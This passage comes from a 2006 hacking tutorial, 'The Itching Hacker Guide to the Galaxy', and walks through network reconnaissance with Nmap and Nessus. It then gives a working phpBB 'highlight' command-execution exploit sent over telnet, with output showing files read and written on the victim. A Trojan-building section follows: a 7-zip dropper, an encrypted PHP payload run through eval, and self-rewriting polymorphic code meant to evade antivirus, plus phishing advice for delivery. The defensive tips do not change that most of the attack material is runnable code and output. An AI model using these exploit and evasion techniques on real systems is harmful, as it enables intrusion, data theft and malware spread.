MAC Address: 00:13:10:9B:50:1D (Cisco-Linksys)
<...>
Interesting ports on 192.168.27.3 :
(The 1668 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
80/tcp   open  http
139/tcp  open  netbios-ssn
515/tcp  open  printer
631/tcp  open  ipp
9100/tcp open  jetdirect
MAC Address: 00:0F:66:86:32:C3 (Cisco-Linksys)
<...>
Interesting ports on 192.168.27.16 :
(The 1666 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
143/tcp  open  imap
443/tcp  open  https
465/tcp  open  smtps
993/tcp  open  imaps
MAC Address: 00:40:63:DE:56:FB (VIA Technologies)
<...>
Nmap finished: 256 IP addresses (9 hosts up) scanned in 79.272 seconds

Network services discovery with Nmap

Once again, we will use Nmap, in order to obtain the list of all network services available on all hosts on
our target's infrastructure.
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Hosts software discovery with Nmap

The operating system (Windows, Linux, Mac OS, etc. ) being the biggest software running on a network
host, and thus the more likely to have exploitable vulnerabilities, it may also be interesting to have a first
guest about which-which.

Besides, since we gathered a list a available services on each host, it may also prove useful to know which
software actually offers each service.

Text 30: Host software discovery with Nmap

root@itching-hacker:~>

nmap -n -sS -A 192.168.27.16  # scan the network host 192.168.27.16

nmap
Starting Nmap 4.03 ( http://www.insecure.org/nmap/ ) at 2006-05-22 15:36 CEST
Interesting ports on 192.168.27.16 :
(The 1660 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 4.3 (protocol 2.0)
25/tcp   open  smtp        Exim smtpd 4.62
53/tcp   open  domain
80/tcp   open  http        Apache httpd 2.2.0 ((Fedora))
143/tcp  open  imap        Courier Imapd (released 2005)
443/tcp  open  ssl/http    Apache httpd 2.2.0 ((Fedora))
465/tcp  open  ssl/smtp
993/tcp  open  ssl/imap    Courier Imapd (released 2005)
<...>
MAC Address: 00:40:63:DE:56:FB (VIA Technologies)
Device type: general purpose
Running: Linux 2.4.X|2.6.X
OS details: Linux 2.4.6 - 2.4.26 or 2.6.9, Linux 2. 6.5 - 2.6.11
Service Info: Host: server.target.net

Nmap finished: 1 IP address (1 host up) scanned in 35.270 seconds

Gathered information

There ! In  less than 2 minutes, we obtained the almost complete footprint of our target's network. Why
almost ? Because we just scanned for the commonly used services. Playing around with Nmap options
and parameters, we could have conducted a totally thorough and exhaustive scan of each of our target's
hosts, leaving nothing out. But so far, we already have gathered enough valuable information.

Table 8: Gathered information (hack 8)

Logical address Name Services (Software) / Role

192.168.27.1 gateway.target.net HTTP, SSH: Remote management

192.168.27.2 bridge.target.net HTTP: Remote management

192.168.27.3 psus4.target.net HTTP: Remote management
PRINTER, JETDIRECT, etc.: Print server

...

192.168.27.16 server.target.net Linux (Fedora): Server
SSH (OpenSSH 4.3): Remote management
DOMAIN:  DNS server
HTTP/S (Apache 2.2.0): Web server
SMTP/S (Exim 4.62): E-mail server/relay
IMAP/S (Courier, 2005): E-mail server

...

The Itching Hacker Guide to the Galaxy page 41 May 2006



Reference 8: Software signatures
Each software offering a service must comply to the corresponding protocol, in other words a set of rules
that described exactly what and when to send or receive data, and for which purposes. A network protocol
is very close to what we human beings experiment in our daily life: “Sir ? Excuse me !?”, “Yes, Madam ?
What may I do for you ?”, “Can you please hand me the salt ?”, “Of course, here it is ! Have a good
day !”.

However, software programs are usually much more precise in the way they say things and – unless told
not to – tend to be over-polite. Meaning that when brought to attention, a software will most likely answer
the equivalent of “John Smith, born January 12th 1969 in London, how can I help you ?”. That is very
nice...  but way too much information given to a hacker.  Their  being very precise will  also allow to
distinguish one software from another, even if they are not well “brought up”. Meaning that knowing
John and Simon, and knowing that the first always answers a call to attention by “Huh ?!”, while Simon
greets us in the same situation with a “Eh ?”, we may find out exactly who is who, even though they
didn't tell us their name.

Thus,  each  software  has  its  own  personal  signature, which  allows  it  to  be  easily  identified  as  the
protocoled exchange takes place.

Tip 8.a: Run as few services as possible  (difficulty: fairly easy)

As we saw, services rely on protocols and software which may – will  – have vulnerabilities that make
them vulnerable to an attack. In order to minimize the risks of having someone exploit the weaknesses of
a given protocol or software,  you should  run only the services absolutely required for your needs.
Even better, you should try to make your needs rely on as few services as possible. Clever engineering
decisions will help you that way, that is to choose the technical means – among the many available – that
allow to satisfy the non-technical requirements with the fewest possible new services in your network.
Easy to say,  more difficult  to achieve, especially when the manager insists on being allowed to play
around with the latest messaging software brought on the market (you know, the one full of “adware”...).

Tip 8.b: Restrict access to each service  (difficulty: fairly easy)

Similarly to locking down your network and allow only legitimate users to get connected to it, you can –
and you should – restrict the access to each service, on each host, to the required clients only. This
step is  very easily  achieved thanks to a “firewall”, which task is to filter and allow the access to each
service on the network only to the provisioned hosts.  Actually,  you  should already  have a firewall
between your network and the Internet. Or start  worrying  seriously  if  you don't !  Better still, you
should  have a firewall on each host offering services on your network, in order to fine grain your
network's security configuration. Additionally, a firewall is certainly the prime element to integrate to an
Intrusion Detection and Prevention System (IDS/IPS), being the unavoidable point of passage between a
host and the network, and being the best-suited element to selectively shut down the network in case of an
intrusion.
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Part Four – Software exploits and Trojan horses

Introduction
Up to now, we have been attacking our target essentially on the basis of network hacks. In other words,
we have been exploiting the traffic flowing between the various (legitimate) network hosts on our target's
infrastructure, or the “obligation” of its network services to answer the requests for such traffic. As we
saw, there are ways to prevent all network hacks to succeed, provided one is willing to take the measures
required to do so. Unfortunately,  those measures are often much more difficult to put into place than
performing the hacks they are supposed to prevent. Also, about half of them require at least a  trained
technician – which most companies (or individuals) will not have handy – either to implement them or,
once  implemented,  to  watch  and  maintain  them.  Shortly  put,  the  cost  of  securing  a  network
infrastructure properly is unavoidably high, much higher than the cost of hacking into it.

Nonetheless, there are infrastructures that are immune to “every” network hacks one could think of. So,
what now ? Our next step is to address the vulnerabilities of the network hosts themselves – as well as
their users  – instead of the network in-between. We will now perform a two hacks, based on software
exploits and Trojan horses. While the software exploits are quite difficult to achieve, Trojan horses are
the most efficient way to hack into a computers, thanks to the “vulnerabilities” of their users. Are
you  sure,  as you opened this document for reading,  that  you did not  trigger  its hidden payload and
launched a nasty little piece of software that is silently sending all of your most confidential data to the
hacker who designed it ? Yes !? You are of a trusting nature, aren't you !?
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Hack 9: Exploiting software vulnerabilities  (difficulty: piece-of-cake to nightmare)

We already said it,  software  all  do have  vulnerabilities.  There is no preventing them to do so.  Our
economic model – aimed towards maximum productivity and profits – actually is a fertile ground for
poorly coded and tested software.  Properly  designing and implementing software in order to  minimize
their  vulnerabilities  takes  time  and  highly  trained  technicians.  And  mark  my words,  I  did  not  say
“nullify”, which is impossible. In other words, “secure” software cost more than their “quickly-done-
and-just-so-it-works” counterparts. Still  in other words, they are a lot of software out there which
vulnerabilities just wait to be exploited !

A vulnerable web server scenario

For  the  sake  of  the  hack  we are  going  to  perform now,  I  deliberately  setup  a  host  with  a  known
vulnerability, one which actually cost many companies a lot of money as it got to be exploited by hackers
back in 2004. More precisely, I setup a web server using Apache 1.3.31, along with a vulnerable bulletin
board software using phpBB 2.0.8 and PHP 4.3.6, exactly as it would have been if installed with the
components available as the end of May 2004.

One can imagine a  quite  realistic scenario for having such a web server and vulnerability be available
perhaps even as of today. On May 2004, Jack, a computer-savvy employee of a small sales company,
praises the advantages of having a bulletin board installed on the company intranet site, allowing vendors
to quickly exchange information, wherever they are. Convinced, the manager gives Jack the green light.
Jack has always been the “computer”-guy of the company, hasn't  he ? He already setup the company
server all by himself, didn't he ? Unfortunately, Jack was not (technically) trained enough to know that he
should not have made that bulletin board reachable from the Internet, protected only by its usernames and
passwords. And he did not know either that he should have been updating all software involved on a
regular basis. Everything was running “good”, why update ? He a is a salesman, after all, isn't he ? He has
more important things to care about !

Does this scenario sound plausible to you ? Well, I agree, it is a bit far-stretched, speaking as of May
2006. But nonetheless, I have encountered situations, through my personal experience, which were very
close to that kind of scenario. The security vulnerabilities involved may not have been as blatant. But still.

Nessus

Again,  it  is easier to quote its official  website – http://www.nessus.org  – to introduce  Nessus: “The
"Nessus" Project aims to provide to the Internet community a free, powerful, up-to-date and easy to use
remote  security  scanner”.  As  such,  Nessus  is  available  as  an  installable  package  for  most  Linux
distributions, and its regularly updated “plug-ins” are available for free directly from its web site.

Finding vulnerabilities with Nessus

Using Nessus, we will be able to search and identify each and every vulnerability of the software running
and accessible on a given host. But now comes the time for yet another warning...

WARNING !  Scanning  a  host  for  its  vulnerabilities  is  a  very  noisy  process !  Security-aware
infrastructures  will  detect  it  immediately !  (actually,  running  Nessus  without  precaution  on a  server
equipped with Snort – an Intrusion Detection System – just led to more than 500 alert messages in my
inbox)
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So, let's launch the Nessus GUI and start scanning our target, after configuring the appropriate “plug-ins”
based on what Nmap already told us about it.

Illustration 7: Run a vulnerability scan with Nessus

Nessus GUI

After a few minutes, Nessus will give us a detailed report on each and every vulnerability found on our
target's host, along with some reference material and recommendations on how to fix them.

Illustration 8: Nessus vulnerabilities report

Nessus GUI

“Unfortunately”, these references and recommendations also points us almost straight-forwardly to how
to exploit them. Every medal has it backside...
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Exploiting the vulnerability

This is where experience comes handy. Knowing which vulnerabilities may exploited, in which way, and
for which purposes, will  definitely help the hacker succeed in his mischiefs faster.  But  remember,  a
hacker is interested into that kind of knowledge. So he will  know...

Thanks to Nessus, a quite well known and severe vulnerability has been identified. Indeed, the version of
the bulletin board software running on our target's server – phpBB 2.0.8 along with PHP 4.3.6 – is prone
to a cross-scripting vulnerability,  which “allows the attacker,  using a carefully crafted URL,  to gain
access to the machine command shell, possibly with administrative privileges”. These words sounds quite
familiar, don't they ? The kind of gibberish one reads in the newspaper every now and then...

“Unfortunately”,  this gibberish is gold to our ears.  Knowing  what is feasible is a good step towards
achieving it ! In our cases, and thanks to the Internet, finding the information on how to actually exploit
this vulnerability is just a matter of a minutes. To put it technically, we shall just send a request to the
server matching the following “syntax” :

Text 31: The phpBB “viewtopic” (or “highlight”) exploit

HTTP

GET <path-to-phpBB>/viewtopic.php?t=1&highlight='.s ystem(getenv(HTTP_PHP)).'
HTTP/1.1
Host: <url>
PHP: <cmd>

That easy !?!...

Telnet

Telnet is a very common utility found pre-installed on most systems, which original purpose was to allow
users to access the command line of their machine remotely, using the Telnet protocol. Nowadays, Telnet
is not – should not – used for that purpose any longer, but is very handy when it comes to send commands
directly to a server, whichever the protocol used, as long as it is not encrypted.

Exploiting the vulnerability with Telnet

Though the phpBB exploit may be automated in a script – such as the Perl script that made it known to
the world – we will use Telnet to perform this hack, for the sake of clarity. Let's proceed.

Text 32: phpBB exploit with Telnet

root@itching-hacker:~>
Telnet 192.168.27.32 80  # connect to 192.168.27.32 on the HTTP port

telnet:input

GET /phpBB2/viewtopic.php?t=1&highlight='.system(ge tenv(HTTP_PHP)).' HTTP/1.1
Host: 192.168.27.32
PHP: dir
<empty carriage-return>

Let's now have suspense weave the thread of expectation in our heart for the time it takes you to get to the
next page...
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Intense, wasn't it ?!

telnet:output

<...>
 Volume in drive C is SYSTEM
 Volume Serial Number is 2046-9539

 Directory of c:\program files\apache group\apache\h tdocs\phpbb2

24.05.2006  00:15    <DIR>          .
24.05.2006  00:15    <DIR>          ..
23.05.2006  11:58    <DIR>          admin
23.05.2006  11:58    <DIR>          cache
20.07.2003  17:42             5'051 common.php
23.05.2006  12:36               267 config.php
23.05.2006  11:58    <DIR>          db
23.05.2006  11:58    <DIR>          docs
20.07.2003  17:42               810 extension.inc
20.07.2003  17:42             3'596 faq.php
13.03.2004  17:21            45'540 groupcp.php
23.05.2006  11:59    <DIR>          images
23.05.2006  11:59    <DIR>          includes
13.03.2004  17:21            14'487 index.php
23.05.2006  11:59    <DIR>          language
18.03.2004  20:51             7'123 login.php
13.03.2004  17:21            12'164 memberlist.php
13.03.2004  17:21            37'643 modcp.php
24.05.2006  00:15                18 phpinfo.php
13.03.2004  17:21            34'408 posting.php
28.03.2004  18:57            72'531 privmsg.php
20.07.2003  17:42             3'719 profile.php
18.03.2004  20:51            42'484 search.php
23.05.2006  11:59    <DIR>          templates
13.03.2004  17:21            23'154 viewforum.php
20.07.2003  17:42             7'232 viewonline.php
23.05.2006  23:15            45'063 viewtopic.php
              17 File(s)        355'290 bytes
              10 Dir(s)   1'013'768'192 bytes free
<...>

Tadam !!!

You don't see the point yet ? Ok, a few more commands sent with no more explanations...

Text 33: phpBB exploit with Telnet (bis)

root@itching-hacker:~>
Telnet 192.168.27.32 80  # connect to 192.168.27.32 on the HTTP port

telnet:input

GET /phpBB2/viewtopic.php?t=1&highlight='.system(ge tenv(HTTP_PHP)).' HTTP/1.1
Host: 192.168.27.32
PHP: type "D:\Documents and Settings\target\A Very Secre t Text Document.txt"
<empty carriage-return>

Telnet:output

<...>
<content of "D:\Documents and Settings\target\A Ver y Secret Text Document.txt">
That secret, really !?!
<...>
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Text 34: phpBB exploit with Telnet (ter)

telnet:input

GET /phpBB2/viewtopic.php?t=1&highlight='.system(ge tenv(HTTP_PHP)).' HTTP/1.1
Host: 192.168.27.32
PHP: echo "Gottcha !!!" > "D:\Documents and Settings\tar get\Desktop\Gottcha.txt"
<empty carriage-return>

telnet:input
GET /phpBB2/viewtopic.php?t=1&highlight='.system(ge tenv(HTTP_PHP)).' HTTP/1.1
Host: 192.168.27.32
PHP: dir "D:\Documents and Settings\target\Desktop"
<empty carriage-return>

telnet:output

<...>
 Volume in drive D is DATA
 Volume Serial Number is 00C5-F519

 Directory of D:\Documents and Settings\target\Deskt op

24.05.2006  14:12    <DIR>          .
24.05.2006  14:12    <DIR>          ..
24.05.2006  14:12                16 Gottcha.txt
               1 File(s)             16 bytes
               4 Dir(s)  10'223'673'344 bytes free
<...>

See the point, now ? I personally find it quite exhilarating...

Gathered information

Shortly put, we are now able to obtain no more no less than the entire content of our target's hard disc.
Actually, one should bear in mind that there are a lot more commands available on the Windows platform
– since that is our target's computer operating system – to perform almost any misdeed. Scary.

Table 9: Gathered information (hack 9)

Information

No more no less than the entire content of our target's hard disc

Reference 9: The phpBB vulnerability and the Santy worm
phpBB – standing for “PHP Bulletin Board” – is a software used by many web sites in order to provide
their visitors with a “forum” – a place where they can launch discussions (topics) and exchange ideas
(messages) – or a Frequently Asked Question (FAQ) – a list of questions, organized by topics, along with
their answers.  As it denomination says,  phpBB  relies on the  PHP scripting language and interpreter,
another software that is part of the web server.

Unfortunately, as of June 2004, the conjunction of both software allowed for a so-called “cross scripting”
vulnerability  –  in  other  words,  the  possibility  for a  hacker  to  make  the  legitimate  server  executes
illegitimate commands, sent remotely, that should never have been able to get executed – that made each
and every server using phpBB vulnerable to severe hacking (as we just saw). Technical information on
the subject is available at http://www.securityfocus.com/bid/14086.

This vulnerability unfortunately drew the attention of nasty hackers, who turned it into the Santy worm, a
virus which was responsible for defacing many web sites around the world, and cost their owner a lot of
annoyance,  if  not  a  lot  money.  More  technical  information  about  it  can  be  found  at
http://securityresponse.symantec.com/avcenter/venc/data/perl.santy.html,  while  its  non-technical  story
may be found on the BBC web site, at http://news.bbc.co.uk/1/hi/technology/4117711.stm.
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Tip 9: Keep your software up-to-date  (difficulty: piece-of-cake to nightmare)

When a service shows up as absolutely required – there are usually at least five to ten such services on a
standard network – you should keep each service (and software) up-to-date, regularly installing the
patches and fixes published by its supplier. Remember that no software is deprived of vulnerabilities.
Thus, every software needs to be updated on a regular basis, as its weaknesses are discovered – by the
“good” people, or the “bad” – and as it becomes prone to an attack. Having a non-supported or no-longer-
supported software running within an infrastructure thus is a security risk, the higher as times goes.

While a quickly applied patch will most of the time suffice to fix a given vulnerability, you may also –
quite  rarely,  fortunately  –  have  to  envisage  migrating  vulnerable  services  to  new  software  or
technology, task which may prove highly difficult if no interruptions of service are to occur. One good
example, taken from the Unix world, would be the migration from the “good old” Network File System
(NFS) and Remote Procedure Call (RPC) – in other words the most common file sharing service in Unix
networks – to its new flavor, requiring the addition – if one is willing to do things correctly – of the
Kerberos  authentication  and  authorization  protocol, along  with  the  Light-weight  Directory  Access
Protocol (LDAP). Try this sentence on your network administrator as his next task assignment. His hair
will  turn gray !
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Hack 10: Create and use Trojan horses  (difficulty: technical)

Until  now,  we  have  been  exploiting  the  vulnerabilities  of  the  systems  involved  in  our  target's
infrastructure. When dealing with infrastructures highly concerned with security, odds are however quite
good that every system will have been “hardened” properly and that none of our attempts would succeed.
So now comes the time to address the last vulnerability in our target's infrastructure, one that has been
proved to be the easiest to exploit, with the highest chance of success :  the human factor. One simple
fact to back this saying. How many time have you read or heard that you shall not open attachments or
install anything on your computer which origin and content you do not absolutely trust ? How many times
did you however do it ? I personally know no one who did not admit doing so. Here stands a wide open
door ! A door which we will use to install a so-called “Trojan horse”, or, in other words, a computer
program which will perform illegitimate actions without you ever noticing it.

Create a simplistic “virus” in Visual Basic

As part of their training, most technicians nowadays learn the fundamentals of the Visual Basic (VB)
scripting language,  one that  allows to achieve almost any kind of task – legitimate or not  – on the
Windows platform.

Now, consider the following Visual Basic script :

Text 35: A simplistic “virus” in Visual Basic

Visual Basic:screensaver.vbs
ON ERROR RESUME NEXT
SET wshShell = WScript.CreateObject("WScript.Shell" )
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\AllScreenSame", 1, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\SurfaceType", 1, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\Specular", 1, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\SurfaceColor", 7829367, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\CustomTexture", "", "REG_SZ"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\CustomEnvironment", "", "REG_SZ"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\UseCustomColor", 0, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\UseCustomTexture", 0, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\UseCustomEnvironment", 0, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\MeshQuality", 1000, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\Size", 10, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\RotationSpeed", 50, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\RotationStyle", 3, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\DisplayString", "GOTTCHA !!!", "REG_SZ"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\DisplayTime", 0, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\FontWeight", 700, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\FontHeight", 4294967199, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\FontItalic", 0, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\FontCharSet", 16909056, "REG_DWORD"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\FontPitchFamily", 1862288194, "REG_DWOR D"
wshShell.RegWrite "HKCU\Software\Microsoft\Screensa vers\Text3D\FontFace", "Comic Sans MS", "REG_SZ"
wshShell.RegWrite "HKCU\Control Panel\Desktop\LowPo werActive", "0", "REG_SZ"
wshShell.RegWrite "HKCU\Control Panel\Desktop\LowPo werTimeout", "0", "REG_SZ"
wshShell.RegWrite "HKCU\Control Panel\Desktop\Power OffActive", "0", "REG_SZ"
wshShell.RegWrite "HKCU\Control Panel\Desktop\Power OffTimeout", "0", "REG_SZ"
wshShell.RegWrite "HKCU\Control Panel\Desktop\Scree nSaverIsSecure", "1", "REG_SZ"
wshShell.RegWrite "HKCU\Control Panel\Desktop\Scree nSaveTimeout", "60", "REG_SZ"
wshShell.RegWrite "HKCU\Control Panel\Desktop\Scree nSaveActive", "1", "REG_SZ"
wshShell.RegWrite "HKCU\Control Panel\Desktop\SCRNS AVE.EXE", "C:\WINDOWS\system32\sstext3d.scr", "REG_ SZ"

Once executed, those few lines would have an  annoying – but so far harmless – result. Daydreaming
behind your keyboard – or hanging on the phone – for more than 60 seconds would unavoidably see a
nicely rendered “Gottcha !!!” come wobbling on your screen.

Would you immediately recognize it as a “Text 3D” screen saver and be able to return your computer to
its normal state ?

Evade anti-virus detection

Before proceeding to see the fundamentals for creating a genuine Trojan horse, we shall  address the
objection that some of you may have expressed while reading the previous lines : “Hey, if this is a virus,
my anti-virus would have recognized it and warned me !”. Oh yes ? Just copy the above Visual Basic
code in a text file, rename it to “screensaver.vbs” and double-click on it ! Most of you will get “infected”
without your anti-virus ever raising an eyebrow. How is that so ? Well, shortly put, anti-virus can only
recognize what they already know (based on their “virus signatures” file). So, in making your own virus,
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you  just create something that anti-virus will most likely not be able to recognize as such. Well, that's
until it brings the attention of the anti-virus designers, who will include the “signature” of your virus into
the “virus signatures” file, which you update regularly (you do, don't you !?). On the other hand, some
anti-virus may try to recognize viruses based on what they do rather than on their “signature” (based on
so-called “intelligent” analysis of the code that is about to get executed). “Fortunately”, as of today, they
do quite a poor job out of it.

Now, knowing how anti-virus software work,  what else can be done to evade detection ? Well,  one
method is polymorphism. With polymorphism, virus will modify themselves and alter their “signature”
every time they get executed, in order to make it a nightmare to keep up with them. One other method
which proves highly efficient is  encryption. Using encryption, and making the necessary unencrypted
part – the one that decrypts and launch the virus payload – as innocuous as possible, one also makes it a
nightmare  –  if  not  impossible  –  for  every  content  inspection  system –  anti-virus among them – to
recognize or analyze the virus. Using encryption along with polymorphism – in other words simply re-
encrypting the virus with a different key each time it gets executed or delivered – one can design a virus
that will most certainly be able to reach its recipient. This is particularly true if you make a specifically
crafted and adapted virus for your target.

7-zip

7-zip  –  http://www.7-zip.org –  is  a  compression  utility,  available  as  an  installable  package  for  the
Windows platform as well as for most Linux distributions, achieving very high compression ratio and
allowing  to  create  self-executable  archives,  all  of it  entirely  from the command  line  and  including
encryption. A very handy tool !

Create a Trojan horse using PHP and 7-zip

Now, why stick with Visual Basic ? Some others may prefer to use C/C++. Or Java. Or Perl. Or whatever.
It won't change anything, as long as you are able to reach your objective. I personally am quite proficient
in PHP, a scripting language that  allows to  very quickly  perform  complex  tasks,  such as high-grade
encryption,  network services implementation or use, etc.

First, let's get ourselves a (sample) PHP payload.

Text 36: A sample PHP payload

PHP:payload.php

<?php
echo 'Gottcha !!!';
?>

Then, let's create an executable file which looks innocuous enough too hopefully fool our target's anti-
virus. This trick will be achieved using 7-zip twice, once to package and encrypt the malicious payload so
no content analysis can take place, then to package the obfuscated payload along with 7-zip itself and a
short command file responsible to “execute” the malicious payload. This being done, all what an anti-
virus  may  see  is  a  self-executable  compressed  file, containing  the  “7za.exe”,  “install.pkg”  and
“install.bat” files, “7za.exe” being perfectly legitimate (a compression utility),  “install.bat” containing
two apparently harmless commands, and “install.pkg” being a black-box which content is encrypted, thus
unanalyzable.
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Text 37: Create and encrypted executable with 7-zip

DOS>

7za.exe a -mx=9 -mhe=on -pKey install.pkg  php.exe libmcrypt.dll php5ts.dll
php_mcrypt.dll php.ini payload.php

DOS>
edit.com install.bat

edit:install.bat

7za.exe x -pKey install.pkg
php.exe payload.php

DOS>

edit.com autorun.cfg

edit:autorun.cfg

;!@Install@!UTF-8!
RunProgram="install.bat"
;!@InstallEnd@!

DOS>

7za.exe a -mx=9 gottcha.7z  7za.exe install.pkg  install.bat
copy /b 7zS.sfx+ autorun.cfg +gottcha.7z  gottcha.exe

Now, what about the PHP payload ? As it gets uncompressed, it will unavoidably be analyzed by the anti-
virus (actually, the previous trick was performed mainly to avoid giving the anti-virus the list of all files
required by our mischief, which could be used as “signature”). Well, let's encrypt the PHP payload itself !

Text 38: An encrypted PHP payload

PHP:payload.php

<?php
dl('php_mcrypt.dll');
$sPayload=" 3Unj2lN2QW0SsW9fgL668WesOrJMrTKz "; // echo 'Gottcha !!!';
@eval(mcrypt_decrypt(MCRYPT_BLOWFISH,'Key',base64_d ecode($sPayload),MCRYPT_MODE_
CBC));
?>

OK, obfuscated enough. But the encrypted payload may be used as “signature”, no !? Well, this is where
polymorphism comes handy.

Text 39: PHP polymorphic payload

PHP:payload.source.php (unencrypted)
<?php
// Payload
echo 'Gottcha !!!';
// Polymorphism
$sScript=file_get_contents($_SERVER['argv'][0]);
$sPayload=preg_replace('/.*\(\'(.*?)\'\).*/',"$1",$ sScript);
$sKey=preg_replace('/.*,\'(.*?)\',.*/',"$1",$sScrip t);
$sPayload=@trim(mcrypt_decrypt(MCRYPT_BLOWFISH,$sKe y,base64_decode($sPayload),MC
RYPT_MODE_CBC));
$sKey=sha1(rand());
$sPayload=@base64_encode(mcrypt_encrypt(MCRYPT_BLOW FISH,$sKey,$sPayload,MCRYPT_M
ODE_CBC));
file_put_contents($_SERVER['argv'][0],"<?dl('php_mc rypt.dll');@eval(mcrypt_decry
pt(MCRYPT_BLOWFISH,'$sKey',base64_decode('$sPayload '),MCRYPT_MODE_CBC));?>");
?>
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Text 40: PHP encrypted polymorphic payload

PHP:payload.php (encrypted and everchanging)

<?dl('php_mcrypt.dll');@eval(mcrypt_decrypt(MCRYPT_ BLOWFISH,'69c171f835c6994b2eb
b0060b71a851187f3d6de',base64_decode('Y/o8orXLuCVKB XPLz/07fJP8bzdH2kF4RS6GyrNlan
OfR4lIVv4qsYJi6T7s5fj1gq5vzUoZ8pToSfZAG/xHUwb/25XS+ 4gAprxyNTkrrFXS3oM1C21LfnmTaX
cFRGUpALIO6In+2gxLic9x148pMqlw+X1nrBsLzVwm7vPfBNbCr fwMu7Gprru5M2wCVyUAlxgOcOYZLW
62jgtSLymt6lNBUtV/5zyV11xi+zrlA30YXmX+dw6SvhsXUQwFM cCTG2HjrZ8WXH2vXzTn7DPFHSz+dy
cyQrznai9W/8hCGgOGvJ9gkTnu/gukjEbN0oa4TE2puGKWKNW9P XYdU1Byr0JNUYXik4pMMUMAwdRYzo
4NEKVMIgsdlEatF/Ss4BakaWu7rxNiw8XudAOYup6xVi1X2oPPo nMHPw0u7RLi8x5v8g6sQJy7HbVikR
ki1pTcbgIX5b36JY+J+TtXG7Os5UMGgC5wafJHhVSX6I+wmO5Ws AcbeOxCFgttwr9Big4S/1YvS0PxGh
VAC+I8VdGVBulAbTCVjojg/XJCWZx/u3y5/2D2GFZMlgSAF1TRt hhT+Eq/VDrekV84l5bs7dzj313EJS
B/s2iPEH8a/zTO2r7+Mt4sBxHkXxqUFaH4HmWVweO6OHHHciMmRkQ0slcWaNtgmqcDq4qfuqwA8akaZi
zdRfX7yWQIbelYxdEipeOWSwr8ECbBhTLbTOnWpAmmoVvGSMipemyMopQkm4Fy4oRsv23re2Xr+rs2j7
kG/KcIPLMp2CaUlc8='),MCRYPT_MODE_CBC));?>

Well, OK, but what about the 7-zip executable ? Well, some additional code in the PHP payload will take
care of that ! I'll let that as an exercise for those interested in pursuing the matter further.

Now, what about the Trojan horse this is all supposed to allow us to obtain ? Well, PHP is a feature-rich
scripting language, allowing to do whatever one can imagine, from grabbing files on the hard disc to
sending them silently to the “outside”, using any adequate mean (by e-mail, by uploading them on a
compromised web server, by transferring them to a compromised file server, by having them ready to get
grabbed through a backdoor, etc.). Adapting the payload to match our hacking purposes is yet another
good exercise !

Have your Trojan horse installed

Now that we have an encrypted, polymorphic, PHP-based Trojan horse at hand, how do we actually get it
installed on our target's  host and perform its misdeeds ? Actually,  what has been proved to be the
easiest way is to persuade (one of) our target's users to do it for us ! Using social engineering –
deception and persuasion – we shall gather as much information as possible about one or more users, and
then carefully craft an e-mail that would make him/them open the attached file – our Trojan horse – or
click on a web link to have it downloaded and installed.

While you will certainly recognize claims about the “opportunity to easily make a million-dollar profit”
as an attempt to deceive you, what if you received an e-mail, seemingly from someone you know well
and you trust, inviting you to open the attached pictures from his last holidays in Spain, “Where, truly, he
had a lot a fun ! You really should see it ! He'll tell you about it next time you meet !” ? Knowing that this
friend of yours  actually  was in Spain last week – as we also learned after seemingly professionally-
justified phone calls to his assistant – you would most likely do it, wouldn't you ?!

OK, you might not, because this example is perhaps still a little too obvious. But what if you were dealing
with  genuine  professionals, whose patience is matched by their experience, and whose objective  is  to
have their very clever and carefully crafted Trojan horse installed on your machine ? The technically most
“secure” infrastructure in the world have been compromised this way... and others will be !

Tip 10.a: Don't open attachments  (difficulty: piece-of-cake)

That is certainly not the first time you hear or read that warning. But we will repeat it again ! Do not open
any attachment or click on any link, unless you are absolutely required to (professionally speaking)
and you are absolutely certain of their origin and harmlessness. Remember that by not complying to
that statement, you jeopardize the entire security of your infrastructure !

Tip 10.b: (Digitally) sign your messages  (difficulty: technical)

With digital signature being a mature technology for long years now, I still wonder why digitally signing
e-mail messages hasn't become an obligation, especially within security-concerned infrastructures. Even
if  you  are not  willing to pay an  official  “trustee”  for  your  Public  Key Infrastructure (PKI), nothing
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prevents you to  setup your own “chain of trust” and have each and every employee  use a digital
certificate (ID) to sign messages, thus making it  impossible  for an attacker to forge the identity of
someone else. Every e-mail clients available nowadays allows to do so. Coupled with an internal policy
stating  that  no  attachments  or  links  shall  be  opened unless  the message  has  been  signed  by  a
(digitally)  trusted  sender,  I'm  quite  confident  that  one  could  reduce  the  risks  of  Trojan  horses
dramatically. Your call !
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Part Five - Conclusion
So, is your infrastructure secure (unquoted) ? Did you follow the given recommendations ? Did you seek
the expertise of a specialist to do so ? Or don't you believe that hacking is so easy and/or so common ?

At the end of this document, I hope I have brought you to believe that hacking into a computer or a
